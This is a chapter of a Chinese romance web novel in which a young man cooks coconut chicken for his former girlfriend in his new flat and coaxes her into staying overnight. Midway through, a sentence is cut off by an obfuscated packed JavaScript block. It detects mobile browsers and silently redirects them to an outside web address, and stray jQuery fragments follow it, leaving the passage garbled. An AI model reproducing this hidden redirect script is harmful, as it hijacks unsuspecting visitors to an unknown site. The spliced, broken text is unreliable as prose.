28. 第 28 章

作品:《别吃回头草

    新公寓的位置很好,商场紧接着一条地下通道,步行走过去再打个弯,就到了公寓的入口。


    宋知聿拎着东西先开了门,他进了门便自然地接过温宁手里拎着的东西,然后顺手把拖鞋从鞋架上摆到她面前。


    温宁套上拖鞋的那一刻还有点恍惚,她坐在沙发上缓慢低头盯着鞋尖,身旁是一大堆刚买的零食和乱七八糟的生活用品等,生鲜蔬果之类的已经被宋知聿拎着进了厨房。


    新公寓厨房是半开式的,宋知聿已经自己给自己系上了围裙,不太熟练地拿着一把菜刀,兴致盎然地盯着菜板上的鸡左右研究。


    菜刀最终还是没落下,他毫无愧色的打开手机,然后手机自动开始播放“如何根据鸡的结构将鸡剁成块状?”


    温宁盯着厨房磨刀霍霍还系着围裙的半贤惠男人,她深吸一口气,觉得时间像是变相的加速器,一星期之前能把简单面条煮沸的人现在已经能独当一面,信誓旦旦宣称要给她做饭。


    这种荒谬的恍惚就像她躺在沙发上叹气,忧愁地望着那一堆堪称诡异的生活用品,比如成群结队出现的情侣牙刷、情侣拖鞋、情侣睡衣……


    对此,宋知聿理直气壮解释:情侣款打折,他穷。


    虽然她并没有看见小票的上的折扣信息。


    她在沙发上懒洋洋躺着,莫名有一种像刚成婚的小夫妻的感觉。


    贤惠的丈夫和妻子共同采购甜甜蜜蜜的成双生活用品后,贤惠人夫一个人在厨房系着小围裙,温声细语地研究着煮夫书籍,给躺在沙发上劳累的妻子做晚饭。


    但这根本就不对。


    她抬头瞥了一眼看似神清气爽淡定举着锅铲的宋知聿,实际锅底淡淡的糊味已经隔着不算远的距离慢悠悠飘到温宁这边的沙发上。


    然后温宁面无表情呼吸了第二口带着糊味的空气,她起身,掉头,无声无息走到宋知聿身侧,毫不客气就要去夺他的锅铲。


    “我想吃泡面。”


    拿着锅铲的人是个倔种。


    温宁没成功。


    宋知聿举着锅铲灵活躲开,他啪嗒一声拍在已经被剁好的鸡肉上,坚决摇头拒绝。


    然后他微微一笑,很有耐心劝温宁,“马上就好,而且我家没有泡面。”


    “你的锅糊了。”


    “我知道。”他边说边侧身过去,然后把还没拆封的一瓶椰汁熟练扎开,递到温宁嘴边,然后替他糊了的锅底狡辩,


    “就是这样做的。”


    ……温宁虽然只会煮方便面,但她吃过椰汁鸡,没尝到过所谓的糊味。


    椰汁很甜,抵到嘴边,她还是顺嘴喝了几口,于是成功被椰汁堵上了嘴,踏着拖鞋又躺了回去。


    她嘴里含着吸管,刚坐下就顺势瞥了一眼宋知聿的方向,恰好看见他正手忙脚乱地把糊了的锅扔到水槽,然后面不改色从柜子里拿了个新锅出来。


    刚把锅放平,正好和温宁的视线来了个稳稳的对视,见状,他弯弯眼睛,系着围裙冲她甜甜一笑。


    ……椰汁见底了。


    温宁垂着眼把椰汁的罐子扔到垃圾桶,过了饭点的饥饿感大概已经被身体内消耗的糖给抵消了,她又灌了一瓶椰汁,下午睡得精神饱满,现在毫无困意和饿意,只想回家。


    但她估计宋知聿绝不答应现在送她回家,温宁瞥了一眼厨房,他已经把鸡上了锅,现在一个人正盯着手机一步一步研究着切辅料。


    冷气调得很足,温宁腿上搭着一条毯子,她歪在沙发,晃了神,慢悠悠打量着这套新公寓。


    公寓是个平层,很大,透着一股商业速成的极简风,大概除了画室是按照他想法精装的,其他的部分应该都是装修公司统一承包的。


    深色系的装修看得温宁觉得这里冷飕飕的,配着19度的空调,她不禁皱了皱眉,然后就听见瓷罐结结实实落在茶几垫子上的闷声。


    宋知聿身上还系着围裙,他头发有点乱,简单的短袖露出小臂,眼尖的立刻能看到那抹白皙上的一滴酱汁,圆滚滚凝固在他手臂上。


    深褐色的瓷器被手掀开了顶部的盖子,刺啦——,没上外层漆的内胆和盖子摩擦,刺得温宁从那滴酱汁上收回了视线。


    热气扑面而来,鸡肉在清透的椰汁中安静地漂浮着,


    “熟了。”


    这是宋知聿的评价。


    他全然没注意到不慎蹭上的酱汁,已经拿上碗筷乘起了鸡块和椰子,然后矜持地把筷子平稳地摆在温宁面前的瓷碗,他坐的笔直,一只拿着筷子,然后两眼亮晶晶地盯着她。


    温宁端起碗,她犹豫地看了几眼卖相尚且可以的鸡肉,又抬头对上宋知聿故作端庄的样子,咬咬牙,喝了一小口。


    出乎意料的味道不错。


    温宁的眼睛瞬间瞪圆,从瓷碗露出半边脸,带着震惊看着她眼前的已经胸有成竹地昂起头的宋知聿。


    “都说了,我会做饭。”筷子始终没停,宋知聿连汤带勺地不停填满她空了一块的碗,一边朗声道,


    “怎么样,味道不错吧。”


    “下班来画室帮我背画具,想吃什么都可以,还可以包住……”


    温宁在他说完包住二字,及时撂碗,打住了他,她看了一眼时间,慢悠悠问,


    “什么时候送我回家?”


    对面果然熄声了,他夹菜的手一顿,然后神色自然把调好的料汁推到温宁面前,问,


    “现在几点了?”


    说着,他自问自答看了一眼接近两点时间,温声道,


    “怎么这么快就两点了。”


    “唉。”宋知聿满脸抑郁地叹了口气,他回头看了一眼窗外的夜景,幽幽道,“这么晚了啊。”


    “等吃完饭估计就三点了……明天还要上班。”


    这虚情假意的抱怨让温宁的心真心实意的痛了一下,她默不作声咬了一口椰肉,她挪了挪板凳,没出声,静静看他下一步表演。


    宋知聿神色忧郁,他捧着脸,胳膊肘支着桌面,飞快瞥了一眼温宁的脸色,半是为难地纠结道,


    “我觉得……不太安全。”


    他话音刚落,就紧张兮兮盯着温宁,又飞速补充,“我家次卧客房都是新装的,有卫生间,很方便的,第二天正好顺路去上班,要不……”


    他边说边看温宁的脸色,“要不……”的转折还拖着长音,见温宁面不改色地吃着碗里的,丝毫没有接话的意图……宋知聿垂眼把切好的水果推了过去,灵活地又转移了话题,


    “学姐回家的话,等一下我送你吧。”


    温宁挑了挑眉,她兴致盎然地盯着宋知聿一脸变化迅速的小表


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15881857|176051||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    情,慢吞吞道,


    “那多谢了。”


    宋知聿的脸上很难藏住表情,但自他们重逢后,他略微学会了一些所谓成年人该有的表情管理,温宁已经很少看见她这位前任,把不高心挂在脸上了。


    像现在,这只满肚子小心思的坏猫肉眼可见的萎了下去,但依旧保持着毛茸茸蓬松的外观,如果不是刚才还灵活摇晃的尾巴,现在正无精打采地落在下面的话,她也看不出来。


    坏猫经过一年进修,显然已经“成熟”不少,至少会看眼色说话了。


    温宁如愿以偿玩弄了坏猫的尾巴,她放下筷子,打算就此停手,毕竟从江城的高新区开车到她家,至少要二十分钟。


    这是在不堵车的前提下,如果在算上回小区上楼之类的,她今夜可以直接不用睡了,闭眼就能感受过了困意的神经在身体里跳舞,然后满脸亢奋地精神到第二天上午,直到下午面临睡昏过去被领导痛骂的风险。


    为难自己是千不该万不该的。


    所以等她慢吞吞吃过饭,眼皮已经三番五次的耷拉下去后,顺冲听取了宋知聿暗戳戳邀请她留下的苦口婆心的建议。


    饭是宋知聿煮得,碗自然也该他洗,这很合理。


    等他噼里啪啦收拾完,就看见刚才还嚷嚷着要去洗漱的温宁,已经娴熟地给自己搭上沙发的的垫子,然后蒙头酣睡了。


    宋知聿站在温宁面前,他刚洗过碗,手上还沾着没搽净的水珠,他低头看去,人影就沉沉罩住了小半个温宁。


    “怎么这么快就睡过去了。”


    宋知聿轻叹一声,他犹豫几秒,最终在选择再搭一层毛毯还是把人抱到卧室中选择了动手。


    瘦削的双臂很有力量,从沙发上裹成长条状的圆筒下面慢慢伸进去,然后再弯曲,很容易就把整个人捞到怀里。


    沾了水珠的手臂被冷风吹得凉凉的,温宁身上裹着的毯子被宋知聿铲掉,夏季本就薄的料子轻而易举贴上他滚烫的身躯,短袖和牛仔裤之间的距离因为身体的弯曲而变得更大,是以裸露的肌肤自然而然地碰到他冰凉的手臂。


    睡得半生半熟的人被冰了一下,迷迷糊糊地睁开眼。


    她看了一眼宋知聿,全然不觉有什么不对,理直气壮地指使宋知聿,“我要睡你最大的那张床。”


    “凭什么?那是我……”


    宋知聿下意识顶嘴,他话还没说完,就被温宁烦躁地一把捂住了嘴,温宁眯着眼看了他一眼,“吵。”


    “……”


    宋知聿默了片刻,还不等他下一步,温宁像是想到什么,突然精神抖擞挣开他的怀抱。


    她困得迷糊,眼见人还没站稳,颠三倒四的就要引宋知聿去扶她,温宁却顺势拽住了他胸口的衣领,暴力一拉——


    很丝滑地就把他拉了过来,温宁一只手扶着他,一只手拽着他的右手,眯着眼仔仔细细观察一遍。


    然后又粗暴地拉起他另一只胳膊,成功找到那滴顽固但躲藏隐蔽的酱油,她顿了一下,然后毫不犹豫用自己的衣尾把那一点擦干净。


    空气大概凝滞了三秒,宋知聿欲言又止的话还没说出口,温宁盯着白褂子上显眼的污渍,才反应过来,诡异地安静几秒后,然后她毫不讲理地转头,


    “赔钱。”


    “你弄脏的。”